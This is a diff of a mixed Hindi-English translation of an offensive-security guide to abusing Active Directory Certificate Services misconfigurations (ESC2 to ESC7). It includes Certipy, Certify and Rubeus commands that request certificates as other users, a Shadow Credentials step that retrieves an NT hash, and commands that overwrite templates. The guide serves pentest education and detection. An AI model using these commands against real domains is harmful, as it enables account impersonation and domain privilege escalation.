इसलिए, attacker subordinate CA certificate का उपयोग करके नए certificates में arbitrary EKUs या फ़ील्ड निर्दिष्ट कर सकता है। -हालांकि, **डोमेन प्रमाणीकरण** के लिए बनाए गए नए प्रमाणपत्र कार्य नहीं करेंगे यदि अधीनस्थ CA **`NTAuthCertificates`** ऑब्जेक्ट द्वारा विश्वसनीय नहीं है, जो डिफ़ॉल्ट सेटिंग है। फिर भी, एक हमलावर **किसी भी EKU** और मनमाने प्रमाणपत्र मानों के साथ **नए प्रमाणपत्र** बना सकता है। इन्हें संभावित रूप से **कई उद्देश्यों** (जैसे, कोड साइनिंग, सर्वर प्रमाणीकरण, आदि) के लिए **दुरुपयोग** किया जा सकता है और नेटवर्क में अन्य अनुप्रयोगों जैसे SAML, AD FS, या IPSec के लिए महत्वपूर्ण प्रभाव हो सकते हैं। +हालाँकि, यदि subordinate CA `NTAuthCertificates` ऑब्जेक्ट द्वारा trusted नहीं है (जो डिफ़ॉल्ट सेटिंग है), तो domain authentication के लिए बनाए गए नए certificates काम नहीं करेंगे। इसके बावजूद, attacker अभी भी किसी भी EKU और arbitrary certificate मानों के साथ नए certificates बना सकता है। इन्हें संभावित रूप से कई उद्देश्यों (जैसे code signing, server authentication, आदि) के लिए abuso किया जा सकता है और नेटवर्क में अन्य अनुप्रयोगों जैसे SAML, AD FS, या IPSec के लिए महत्वपूर्ण प्रभाव हो सकते हैं। -AD Forest के कॉन्फ़िगरेशन स्कीमा के भीतर इस परिदृश्य से मेल खाने वाले टेम्पलेट्स को सूचीबद्ध करने के लिए, निम्न LDAP क्वेरी चलाई जा सकती है: +AD Forest की configuration schema में इस परिदृश्य से मेल खाने वाले टेम्पलेट्स को सूचीबद्ध करने के लिए निम्न LDAP query चलाई जा सकती है: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Misconfigured Enrolment Agent Templates - ESC3 +## गलत कॉन्फ़िगर Enrolment Agent Templates - ESC3 -### Explanation +### व्याख्या -यह परिदृश्य पहले और दूसरे की तरह है लेकिन **भिन्न EKU** (Certificate Request Agent) और **2 भिन्न टेम्पलेट्स** का **दुरुपयोग** करता है (इसलिए इसमें 2 सेट की आवश्यकताएँ हैं), +यह परिदृश्य पहले और दूसरे वाले जैसा है लेकिन **दुरुपयोग** करता है एक **अलग EKU** (Certificate Request Agent) और **2 अलग टेम्पलेट्स** (इसलिए इसकी आवश्यकताओं के 2 सेट हैं), -**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), जिसे Microsoft दस्तावेज़ में **Enrollment Agent** के रूप में जाना जाता है, एक प्रिंसिपल को **दूसरे उपयोगकर्ता** की ओर से **सर्टिफिकेट** के लिए **नामांकित** करने की अनुमति देता है। +The Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), known as **Enrollment Agent** in Microsoft documentation, allows a principal to **enroll** for a **certificate** on **behalf of another user**. -**“enrollment agent”** एक ऐसे **टेम्पलेट** में नामांकित होता है और परिणामस्वरूप प्राप्त **सर्टिफिकेट का उपयोग दूसरे उपयोगकर्ता की ओर से CSR को सह-हस्ताक्षरित करने के लिए** करता है। फिर यह **सह-हस्ताक्षरित CSR** को CA को **भेजता** है, एक **टेम्पलेट** में नामांकित होता है जो **“की ओर से नामांकित करने की अनुमति देता है”**, और CA **“दूसरे” उपयोगकर्ता** का **सर्टिफिकेट** के साथ प्रतिक्रिया करता है। +The “enrollment agent” ऐसे किसी **template** में **enroll** करता है और प्राप्त **certificate** का उपयोग अन्य उपयोगकर्ता की ओर से **CSR** को **co-sign** करने के लिए करता है। फिर यह **co-signed CSR** को **CA** को भेजता है, जिस **template** में यह **enroll** करता है वह **“enroll on behalf of”** की अनुमति देता है, और **CA** इसका उत्तर उस **“अन्य”** उपयोगकर्ता का **certificate** देकर करता है। **Requirements 1:** -- Enterprise CA द्वारा निम्न-privileged उपयोगकर्ताओं को नामांकन अधिकार दिए जाते हैं। -- प्रबंधक अनुमोदन की आवश्यकता को छोड़ दिया गया है। +- Enterprise CA द्वारा कम-privileged उपयोगकर्ताओं को Enrollment rights प्रदान किए गए हैं। +- प्रबंधक अनुमोदन की आवश्यकता हटा दी गई है। - अधिकृत हस्ताक्षरों की कोई आवश्यकता नहीं है। -- सर्टिफिकेट टेम्पलेट का सुरक्षा वर्णन excessively permissive है, जो निम्न-privileged उपयोगकर्ताओं को नामांकन अधिकार प्रदान करता है। -- सर्टिफिकेट टेम्पलेट में Certificate Request Agent EKU शामिल है, जो अन्य प्रिंसिपलों की ओर से अन्य सर्टिफिकेट टेम्पलेट्स के अनुरोध की अनुमति देता है। +- certificate template का security descriptor अत्यधिक permissive है, जिससे enrollment rights कम-privileged उपयोगकर्ताओं को मिल जाते हैं। +- certificate template में Certificate Request Agent EKU शामिल है, जो अन्य प्रिंसिपल्स की ओर से अन्य certificate templates का अनुरोध करने में सक्षम बनाता है। **Requirements 2:** -- Enterprise CA निम्न-privileged उपयोगकर्ताओं को नामांकन अधिकार प्रदान करता है। +- Enterprise CA कम-privileged उपयोगकर्ताओं को enrollment rights प्रदान करता है। - प्रबंधक अनुमोदन को बायपास किया गया है। -- टेम्पलेट का स्कीमा संस्करण 1 है या 2 से अधिक है, और यह एक Application Policy Issuance Requirement को निर्दिष्ट करता है जो Certificate Request Agent EKU की आवश्यकता है। -- सर्टिफिकेट टेम्पलेट में परिभाषित EKU डोमेन प्रमाणीकरण की अनुमति देता है। -- CA पर नामांकन एजेंटों के लिए प्रतिबंध लागू नहीं होते हैं। +- Template का schema version या तो 1 है या 2 से अधिक है, और यह एक Application Policy Issuance Requirement निर्दिष्ट करता है जो Certificate Request Agent EKU की आवश्यकता रखता है। +- certificate template में परिभाषित एक EKU domain authentication की अनुमति देता है। +- Enrollment agents के लिए प्रतिबंध CA पर लागू नहीं किए गए हैं। -### Abuse +### दुरुपयोग आप इस परिदृश्य का दुरुपयोग करने के लिए [**Certify**](https://github.com/GhostPack/Certify) या [**Certipy**](https://github.com/ly4k/Certipy) का उपयोग कर सकते हैं: ```bash @@ -117,39 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -**उपयोगकर्ता** जिन्हें **नामांकन एजेंट प्रमाणपत्र** प्राप्त करने की अनुमति है, उन टेम्पलेट्स में जिनमें नामांकन **एजेंट** नामांकित होने की अनुमति है, और **खातों** के लिए जिनके पक्ष में नामांकन एजेंट कार्य कर सकता है, को एंटरप्राइज CA द्वारा सीमित किया जा सकता है। यह `certsrc.msc` **स्नैप-इन** को खोलकर, **CA पर राइट-क्लिक** करके, **गुण** पर क्लिक करके, और फिर “Enrollment Agents” टैब पर **नेविगेट** करके प्राप्त किया जाता है। +वे **उपयोगकर्ता** जिन्हें **enrollment agent certificate** प्राप्त करने की अनुमति है, जिन **टेम्पलेट्स** में enrollment **agents** को enroll करने की अनुमति है, और जिन **accounts** के behalf पर enrollment agent कार्य कर सकता है, उन्हें एंटरप्राइज़ CAs द्वारा सीमित किया जा सकता है। यह `certsrc.msc` **snap-in** खोलकर, **CA पर right-click करने**, **Properties पर क्लिक करने**, और फिर **“Enrollment Agents” टैब पर नेविगेट करने** से किया जाता है। -हालांकि, यह noted किया गया है कि CA के लिए **डिफ़ॉल्ट** सेटिंग “**नामांकन एजेंटों को प्रतिबंधित न करें**” है। जब नामांकन एजेंटों पर प्रतिबंध को प्रशासकों द्वारा सक्षम किया जाता है, तो इसे “Restrict enrollment agents” पर सेट करने पर, डिफ़ॉल्ट कॉन्फ़िगरेशन अत्यधिक अनुमति देने वाला रहता है। यह **सभी** को किसी के रूप में सभी टेम्पलेट्स में नामांकित होने की अनुमति देता है। +हालाँकि, यह नोट किया गया है कि CAs के लिए **default** सेटिंग “Do not restrict enrollment agents.” है। जब एडमिनिस्ट्रेटर enrollment agents पर प्रतिबंध सक्षम करके इसे “Restrict enrollment agents” पर सेट करते हैं, तब भी डिफ़ॉल्ट कॉन्फ़िगरेशन अत्यंत उदार रहती है। यह **Everyone** को सभी टेम्पलेट्स में किसी भी व्यक्ति के रूप में enroll करने की अनुमति देता है। -## Vulnerable Certificate Template Access Control - ESC4 +## कमजोर प्रमाणपत्र टेम्पलेट एक्सेस कंट्रोल - ESC4 -### **व्याख्या** +### स्पष्टीकरण -**प्रमाणपत्र टेम्पलेट्स** पर **सुरक्षा विवरण** उन **अनुमतियों** को परिभाषित करता है जो विशिष्ट **AD प्रिंसिपल** टेम्पलेट के संबंध में रखते हैं। +**certificate templates** पर मौजूद **security descriptor** यह परिभाषित करता है कि विशिष्ट **AD principals** के पास टेम्पलेट के संबंध में कौन सी **permissions** हैं। -यदि एक **हमलावर** के पास आवश्यक **अनुमतियाँ** हैं ताकि वह **टेम्पलेट** को **बदल** सके और **पिछले अनुभागों** में उल्लिखित किसी भी **शोषण योग्य गलत कॉन्फ़िगरेशन** को लागू कर सके, तो विशेषाधिकार वृद्धि को सक्षम किया जा सकता है। +यदि कोई **हमलावर** आवश्यक **अनुमतियाँ** रखता है किसी **टेम्पलेट** को **बदलने** और किसी भी **शोषण योग्य कॉन्फ़िगरेशन त्रुटियाँ** को **लागू करने** की जो **पूर्व अनुभागों** में उल्लिखित हैं, तो **विशेषाधिकार वृद्धि** सक्षम हो सकती है। -प्रमाणपत्र टेम्पलेट्स पर लागू होने वाली महत्वपूर्ण अनुमतियाँ शामिल हैं: +प्रमाणपत्र टेम्पलेट्स पर लागू होने वाली उल्लेखनीय अनुमतियाँ शामिल हैं: -- **Owner:** वस्तु पर निहित नियंत्रण प्रदान करता है, जिससे किसी भी विशेषता को संशोधित किया जा सकता है। -- **FullControl:** वस्तु पर पूर्ण अधिकार सक्षम करता है, जिसमें किसी भी विशेषता को बदलने की क्षमता शामिल है। -- **WriteOwner:** हमलावर के नियंत्रण में एक प्रिंसिपल के लिए वस्तु के मालिक को बदलने की अनुमति देता है। -- **WriteDacl:** पहुँच नियंत्रण को समायोजित करने की अनुमति देता है, संभावित रूप से हमलावर को FullControl प्रदान करता है। -- **WriteProperty:** किसी भी वस्तु की संपत्तियों को संपादित करने की अनुमति देता है। +- **Owner:** वस्तु पर निहित नियंत्रण प्रदान करता है, जिससे किसी भी attributes में संशोधन संभव होता है। +- **FullControl:** वस्तु पर पूर्ण अधिकार सक्षम करता है, जिसमें किसी भी attributes को बदलने की क्षमता शामिल है। +- **WriteOwner:** वस्तु के owner को हमलावर के नियंत्रण वाले किसी principal में बदलने की अनुमति देता है। +- **WriteDacl:** एक्सेस कंट्रोल समायोजित करने की अनुमति देता है, संभावित रूप से हमलावर को FullControl दे सकता है। +- **WriteProperty:** किसी भी वस्तु गुण को संपादित करने का अधिकार देता है। ### दुरुपयोग -पिछले एक की तरह एक प्रिवेस्क का उदाहरण: +टेम्पलेट्स और अन्य PKI objects पर edit अधिकार रखने वाले principals की पहचान करने के लिए, Certify के साथ enumerate करें: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +``` +पिछले वाले की तरह एक privesc का एक उदाहरण:
-ESC4 तब होता है जब एक उपयोगकर्ता के पास एक प्रमाणपत्र टेम्पलेट पर लिखने के अधिकार होते हैं। इसे उदाहरण के लिए प्रमाणपत्र टेम्पलेट की कॉन्फ़िगरेशन को ओवरराइट करने के लिए दुरुपयोग किया जा सकता है ताकि टेम्पलेट ESC1 के लिए संवेदनशील हो जाए। +ESC4 तब होता है जब किसी उपयोगकर्ता के पास किसी सर्टिफिकेट टेम्पलेट पर write privileges होते हैं। इसे उदाहरण के तौर पर सर्टिफिकेट टेम्पलेट की configuration को overwrite करने के लिए abuse किया जा सकता है ताकि वह टेम्पलेट ESC1 के लिए vulnerable बन जाए। -जैसा कि हम ऊपर के पथ में देख सकते हैं, केवल `JOHNPC` के पास ये अधिकार हैं, लेकिन हमारे उपयोगकर्ता `JOHN` के पास `JOHNPC` के लिए नया `AddKeyCredentialLink` एज है। चूंकि यह तकनीक प्रमाणपत्रों से संबंधित है, मैंने इस हमले को भी लागू किया है, जिसे [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) के रूप में जाना जाता है। यहाँ पीड़ित के NT हैश को पुनः प्राप्त करने के लिए Certipy के `shadow auto` कमांड का एक छोटा सा झलक है। +जैसा कि ऊपर path में दिख रहा है, केवल `JOHNPC` के पास ये privileges हैं, लेकिन हमारे उपयोगकर्ता `JOHN` के पास `JOHNPC` की ओर नया `AddKeyCredentialLink` edge है। चूँकि यह technique certificates से संबंधित है, मैंने इस attack को भी implement किया है, जिसे [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) के नाम से जाना जाता है। यहाँ Certipy के `shadow auto` कमांड की एक छोटी झलक है, जो पीड़ित का NT hash retrieve करने के लिए है। ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** एक कमांड के साथ एक सर्टिफिकेट टेम्पलेट की कॉन्फ़िगरेशन को ओवरराइट कर सकता है। **डिफ़ॉल्ट** रूप से, Certipy कॉन्फ़िगरेशन को **ESC1 के लिए संवेदनशील** बनाने के लिए **ओवरराइट** करेगा। हम **`-save-old` पैरामीटर** को पुराने कॉन्फ़िगरेशन को सहेजने के लिए भी निर्दिष्ट कर सकते हैं, जो हमारे हमले के बाद कॉन्फ़िगरेशन को **पुनर्स्थापित** करने के लिए उपयोगी होगा। +**Certipy** एक single कमांड में certificate template के configuration को overwrite कर सकता है। By **default**, Certipy configuration को **overwrite** कर देगा ताकि वह **vulnerable to ESC1** बन जाए। हम **`-save-old` parameter to save the old configuration** भी specify कर सकते हैं, जो हमारे attack के बाद configuration **restoring** करने के लिए उपयोगी होगा। ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -160,37 +177,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Vulnerable PKI Object Access Control - ESC5 +## कमजोर PKI ऑब्जेक्ट एक्सेस कंट्रोल - ESC5 -### Explanation +### व्याख्या -ACL-आधारित संबंधों का विस्तृत जाल, जिसमें प्रमाणपत्र टेम्पलेट और प्रमाणपत्र प्राधिकरण के अलावा कई वस्तुएं शामिल हैं, AD CS प्रणाली की सुरक्षा को प्रभावित कर सकता है। ये वस्तुएं, जो सुरक्षा को महत्वपूर्ण रूप से प्रभावित कर सकती हैं, में शामिल हैं: +ACL-आधारित आपस में जुड़े रिश्तों का विस्तृत जाल, जिसमें certificate templates और certificate authority से आगे कई ऑब्जेक्ट शामिल हैं, पूरे AD CS सिस्टम की सुरक्षा को प्रभावित कर सकता है। ये ऑब्जेक्ट, जो सुरक्षा पर महत्वपूर्ण प्रभाव डाल सकते हैं, में शामिल हैं: -- CA सर्वर का AD कंप्यूटर ऑब्जेक्ट, जिसे S4U2Self या S4U2Proxy जैसे तंत्रों के माध्यम से समझौता किया जा सकता है। +- CA सर्वर का AD कंप्यूटर ऑब्जेक्ट, जिसे S4U2Self या S4U2Proxy जैसी प्रक्रियाओं के माध्यम से समझौता किया जा सकता है। - CA सर्वर का RPC/DCOM सर्वर। -- विशेष कंटेनर पथ `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` के भीतर कोई भी वंशज AD ऑब्जेक्ट या कंटेनर। इस पथ में, लेकिन सीमित नहीं है, कंटेनर और वस्तुएं जैसे कि प्रमाणपत्र टेम्पलेट्स कंटेनर, प्रमाणन प्राधिकरण कंटेनर, NTAuthCertificates ऑब्जेक्ट, और नामांकन सेवाएं कंटेनर शामिल हैं। +- निर्दिष्ट कंटेनर पथ `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` के अंतर्गत किसी भी वंशज AD ऑब्जेक्ट या कंटेनर। यह पथ, पर सीमित नहीं है, में Certificate Templates container, Certification Authorities container, NTAuthCertificates ऑब्जेक्ट, और Enrollment Services Container जैसे कंटेनर और ऑब्जेक्ट शामिल हैं। -यदि एक निम्न-विशिष्टता वाला हमलावर इन महत्वपूर्ण घटकों में से किसी पर नियंत्रण प्राप्त करने में सफल होता है, तो PKI प्रणाली की सुरक्षा समझौता की जा सकती है। +यदि कोई कम-विशेषाधिकार प्राप्त हमलावर इन किसी भी महत्वपूर्ण घटकों पर नियंत्रण हासिल कर ले तो PKI सिस्टम की सुरक्षा समझौता हो सकती है। ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 -### Explanation +### व्याख्या -[**CQure Academy पोस्ट**](https://cqureacademy.com/blog/enhanced-key-usage) में चर्चा किए गए विषय में **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ध्वज के प्रभावों पर भी प्रकाश डाला गया है, जैसा कि Microsoft द्वारा वर्णित है। यह कॉन्फ़िगरेशन, जब एक प्रमाणन प्राधिकरण (CA) पर सक्रिय किया जाता है, तो **किसी भी अनुरोध** के लिए **विभिन्न उपयोगकर्ता-परिभाषित मानों** को **विषय वैकल्पिक नाम** में शामिल करने की अनुमति देता है, जिसमें Active Directory® से निर्मित अनुरोध भी शामिल हैं। परिणामस्वरूप, यह प्रावधान एक **घुसपैठिए** को **किसी भी टेम्पलेट** के माध्यम से नामांकित करने की अनुमति देता है जो डोमेन **प्रमाणीकरण** के लिए सेट किया गया है—विशेष रूप से वे जो **निम्न-विशिष्टता** उपयोगकर्ता नामांकन के लिए खुले हैं, जैसे कि मानक उपयोगकर्ता टेम्पलेट। इसके परिणामस्वरूप, एक प्रमाणपत्र सुरक्षित किया जा सकता है, जिससे घुसपैठिए को डोमेन प्रशासक या **डोमेन के भीतर किसी अन्य सक्रिय इकाई** के रूप में प्रमाणीकरण करने की अनुमति मिलती है। +[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) में चर्चा किए गए विषय में Microsoft द्वारा बताए गए अनुसार **`EDITF_ATTRIBUTESUBJECTALTNAME2`** फ़्लैग के प्रभाव भी शामिल हैं। यह कॉन्फ़िगरेशन, जब Certification Authority (CA) पर सक्रिय किया जाता है, तो किसी भी request के लिए—उनमें से वे भी जो Active Directory® से बनाए गए हैं—subject alternative name में **user-defined values** को शामिल करने की अनुमति देता है। परिणामस्वरूप, यह प्रावधान एक **घुसपैठिया** को डोमेन **authentication** के लिए सेट किए गए **किसी भी template** के माध्यम से enroll करने की अनुमति देता है—विशेषकर उन टेम्पलेट्स के लिए जो standard User template जैसे कम-विशेषाधिकार उपयोगकर्ता enrollment के लिए खुले होते हैं। नतीजतन, एक प्रमाणपत्र प्राप्त किया जा सकता है, जिससे घुसपैठिया डोमेन एडमिनिस्ट्रेटर या डोमेन के किसी भी अन्य सक्रिय इकाई के रूप में प्रमाणीकरण कर सकता है। -**Note**: एक प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) में **वैकल्पिक नामों** को जोड़ने के लिए `-attrib "SAN:"` तर्क के माध्यम से `certreq.exe` में, जो “Name Value Pairs” के रूप में संदर्भित है, ESC1 में SANs के शोषण रणनीति से एक **विभाजन** प्रस्तुत करता है। यहाँ, भेद **कैसे खाता जानकारी को संकुचित किया जाता है**—एक प्रमाणपत्र विशेषता के भीतर, न कि एक विस्तार के रूप में। +नोट: Certificate Signing Request (CSR) में alternative names जोड़ने का तरीका, `certreq.exe` में `-attrib "SAN:"` आर्गुमेंट के माध्यम से (जिसे “Name Value Pairs” कहा जाता है), ESC1 में SANs के शोषण रणनीति से एक **भिन्नता** प्रस्तुत करता है। यहाँ अंतर इस बात में है कि **खाता जानकारी कैसे समाहित की जाती है** — एक certificate attribute के भीतर, न कि extension में। -### Abuse +### दुरुपयोग -यह सत्यापित करने के लिए कि सेटिंग सक्रिय है या नहीं, संगठन निम्नलिखित कमांड का उपयोग `certutil.exe` के साथ कर सकते हैं: +यह पुष्टि करने के लिए कि यह सेटिंग सक्रिय है या नहीं, संगठन निम्न कमांड का उपयोग `certutil.exe` के साथ कर सकते हैं: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -इस ऑपरेशन में मूल रूप से **remote registry access** का उपयोग किया जाता है, इसलिए, एक वैकल्पिक दृष्टिकोण हो सकता है: +यह ऑपरेशन मूल रूप से **remote registry access** का उपयोग करता है, इसलिए एक वैकल्पिक तरीका हो सकता है: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -जैसे कि [**Certify**](https://github.com/GhostPack/Certify) और [**Certipy**](https://github.com/ly4k/Certipy) इस गलत कॉन्फ़िगरेशन का पता लगाने और इसका लाभ उठाने में सक्षम हैं: +[**Certify**](https://github.com/GhostPack/Certify) और [**Certipy**](https://github.com/ly4k/Certipy) जैसे उपकरण इस misconfiguration का पता लगाने और exploiting करने में सक्षम हैं: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -199,39 +216,39 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -इन सेटिंग्स को बदलने के लिए, यह मानते हुए कि किसी के पास **डोमेन प्रशासनिक** अधिकार या समकक्ष हैं, निम्नलिखित कमांड को किसी भी कार्यस्थल से निष्पादित किया जा सकता है: +इन सेटिंग्स को बदलने के लिए, यह मानते हुए कि किसी के पास **डोमेन प्रशासनिक** अधिकार या समकक्ष हों, निम्नलिखित कमांड किसी भी वर्कस्टेशन से निष्पादित की जा सकती है: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -इस कॉन्फ़िगरेशन को अपने वातावरण में अक्षम करने के लिए, ध्वज को हटाया जा सकता है: +अपने पर्यावरण में इस कॉन्फ़िगरेशन को निष्क्रिय करने के लिए, flag को हटाया जा सकता है: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> मई 2022 की सुरक्षा अपडेट के बाद, नए जारी किए गए **certificates** में एक **security extension** होगा जो **requester's `objectSid` property** को शामिल करता है। ESC1 के लिए, यह SID निर्दिष्ट SAN से निकाला गया है। हालाँकि, **ESC6** के लिए, SID **requester's `objectSid`** को दर्शाता है, न कि SAN।\ -> ESC6 का लाभ उठाने के लिए, यह आवश्यक है कि सिस्टम ESC10 (Weak Certificate Mappings) के प्रति संवेदनशील हो, जो **SAN को नए सुरक्षा विस्तार पर प्राथमिकता** देता है। +> May 2022 सुरक्षा अपडेट के बाद, हाल ही में जारी किए गए **प्रमाणपत्र** में एक **सुरक्षा एक्सटेंशन** शामिल होगा जो **अनुरोधकर्ता की `objectSid` property** को सम्मिलित करता है। ESC1 के लिए, यह SID निर्दिष्ट SAN से व्युत्पन्न होता है। हालांकि, **ESC6** के लिए, SID **अनुरोधकर्ता की `objectSid`** को प्रतिबिंबित करता है, SAN नहीं।\ +> ESC6 का शोषण करने के लिए, सिस्टम का ESC10 (Weak Certificate Mappings) के लिए संवेदनशील होना आवश्यक है, जो **नई सुरक्षा एक्सटेंशन के बजाय SAN को प्राथमिकता देता है**। -## Vulnerable Certificate Authority Access Control - ESC7 +## कमजोर प्रमाणपत्र प्राधिकरण पहुँच नियंत्रण - ESC7 -### Attack 1 +### हमला 1 -#### Explanation +#### विवरण -एक प्रमाणपत्र प्राधिकरण के लिए पहुँच नियंत्रण एक सेट अनुमतियों के माध्यम से बनाए रखा जाता है जो CA क्रियाओं को नियंत्रित करता है। इन अनुमतियों को `certsrv.msc` तक पहुँचकर, एक CA पर राइट-क्लिक करके, गुणों का चयन करके, और फिर सुरक्षा टैब पर नेविगेट करके देखा जा सकता है। इसके अतिरिक्त, PSPKI मॉड्यूल का उपयोग करके अनुमतियों को निम्नलिखित कमांड के साथ सूचीबद्ध किया जा सकता है: +एक प्रमाणपत्र प्राधिकरण के लिए पहुंच नियंत्रण उन अनुमतियों के सेट के माध्यम से बनाए रखा जाता है जो CA की क्रियाओं को नियंत्रित करती हैं। इन अनुमतियों को देखने के लिए `certsrv.msc` खोलें, किसी CA पर राइट-क्लिक करें, Properties चुनें, और फिर Security tab पर जाएँ। इसके अतिरिक्त, अनुमतियों को PSPKI मॉड्यूल का उपयोग करके निम्नलिखित जैसे कमांड्स के साथ सूचीबद्ध किया जा सकता है: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -यह प्राथमिक अधिकारों के बारे में जानकारी प्रदान करता है, अर्थात् **`ManageCA`** और **`ManageCertificates`**, जो क्रमशः "CA प्रशासक" और "प्रमाणपत्र प्रबंधक" की भूमिकाओं से संबंधित हैं। +This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively. #### दुरुपयोग -एक प्रमाणपत्र प्राधिकरण पर **`ManageCA`** अधिकार होने से प्रमुख को PSPKI का उपयोग करके दूरस्थ रूप से सेटिंग्स को संशोधित करने की अनुमति मिलती है। इसमें **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ध्वज को टॉगल करना शामिल है ताकि किसी भी टेम्पलेट में SAN निर्दिष्ट करने की अनुमति मिल सके, जो डोमेन वृद्धि का एक महत्वपूर्ण पहलू है। +Having **`ManageCA`** rights on a certificate authority enables the principal to manipulate settings remotely using PSPKI. This includes toggling the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag to permit SAN specification in any template, a critical aspect of domain escalation. -इस प्रक्रिया को PSPKI के **Enable-PolicyModuleFlag** cmdlet का उपयोग करके सरल बनाया जा सकता है, जो सीधे GUI इंटरैक्शन के बिना संशोधनों की अनुमति देता है। +Simplification of this process is achievable through the use of PSPKI’s **Enable-PolicyModuleFlag** cmdlet, allowing modifications without direct GUI interaction. -**`ManageCertificates`** अधिकारों का अधिग्रहण लंबित अनुरोधों की स्वीकृति को सुविधाजनक बनाता है, प्रभावी रूप से "CA प्रमाणपत्र प्रबंधक स्वीकृति" सुरक्षा को दरकिनार करता है। +Possession of **`ManageCertificates`** rights facilitates the approval of pending requests, effectively circumventing the "CA certificate manager approval" safeguard. -**Certify** और **PSPKI** मॉड्यूल का संयोजन एक प्रमाणपत्र के लिए अनुरोध, स्वीकृति और डाउनलोड करने के लिए उपयोग किया जा सकता है: +A combination of **Certify** and **PSPKI** modules can be utilized to request, approve, and download a certificate: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -249,31 +266,31 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` ### Attack 2 -#### Explanation +#### व्याख्या > [!WARNING] -> In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates. - -इसलिए, यहाँ एक और हमला प्रस्तुत किया गया है। - -Perquisites: - -- केवल **`ManageCA` अनुमति** -- **`Manage Certificates`** अनुमति (जो **`ManageCA`** से दी जा सकती है) -- प्रमाणपत्र टेम्पलेट **`SubCA`** को **सक्षम** किया जाना चाहिए (जो **`ManageCA`** से सक्षम किया जा सकता है) - -यह तकनीक इस तथ्य पर निर्भर करती है कि `Manage CA` _और_ `Manage Certificates` पहुँच अधिकार वाले उपयोगकर्ता **असफल प्रमाणपत्र अनुरोध जारी कर सकते हैं**। **`SubCA`** प्रमाणपत्र टेम्पलेट **ESC1** के लिए **संवेदनशील** है, लेकिन **केवल प्रशासक** टेम्पलेट में नामांकित हो सकते हैं। इसलिए, एक **उपयोगकर्ता** **`SubCA`** में नामांकन के लिए **अनुरोध** कर सकता है - जिसे **अस्वीकृत** किया जाएगा - लेकिन **फिर बाद में प्रबंधक द्वारा जारी किया जाएगा**। - -#### Abuse - -आप **अपने लिए `Manage Certificates`** पहुँच अधिकार प्राप्त कर सकते हैं अपने उपयोगकर्ता को एक नए अधिकारी के रूप में जोड़कर। +> पिछले attack में **`Manage CA`** अनुमतियों का उपयोग **EDITF_ATTRIBUTESUBJECTALTNAME2** फ्लैग को **सक्षम** करने के लिए किया गया था ताकि **ESC6 attack** किया जा सके, लेकिन जब तक CA सेवा (`CertSvc`) को पुनरारंभ नहीं किया जाता, इसका कोई प्रभाव नहीं होगा। जब किसी उपयोगकर्ता के पास `Manage CA` एक्सेस राइट होता है, तो उस उपयोगकर्ता को **सेवा को पुनरारंभ करने** की अनुमति भी होती है। हालांकि, इसका यह मतलब **नहीं** है कि उपयोगकर्ता सेवा को रिमोटली पुनरारंभ कर सकता है। इसके अलावा, E**SC6 might not work out of the box** अधिकांश पैच्ड वातावरणों में May 2022 सुरक्षा अपडेट्स के कारण। +> +> इसलिए, यहां एक और attack प्रस्तुत किया गया है। +> +> पूर्व-आवश्यकताएँ: +> +> - केवल **`ManageCA` अनुमति** +> - **`Manage Certificates`** अनुमति (यह **`ManageCA`** से प्रदान की जा सकती है) +> - प्रमाणपत्र टेम्पलेट **`SubCA`** को 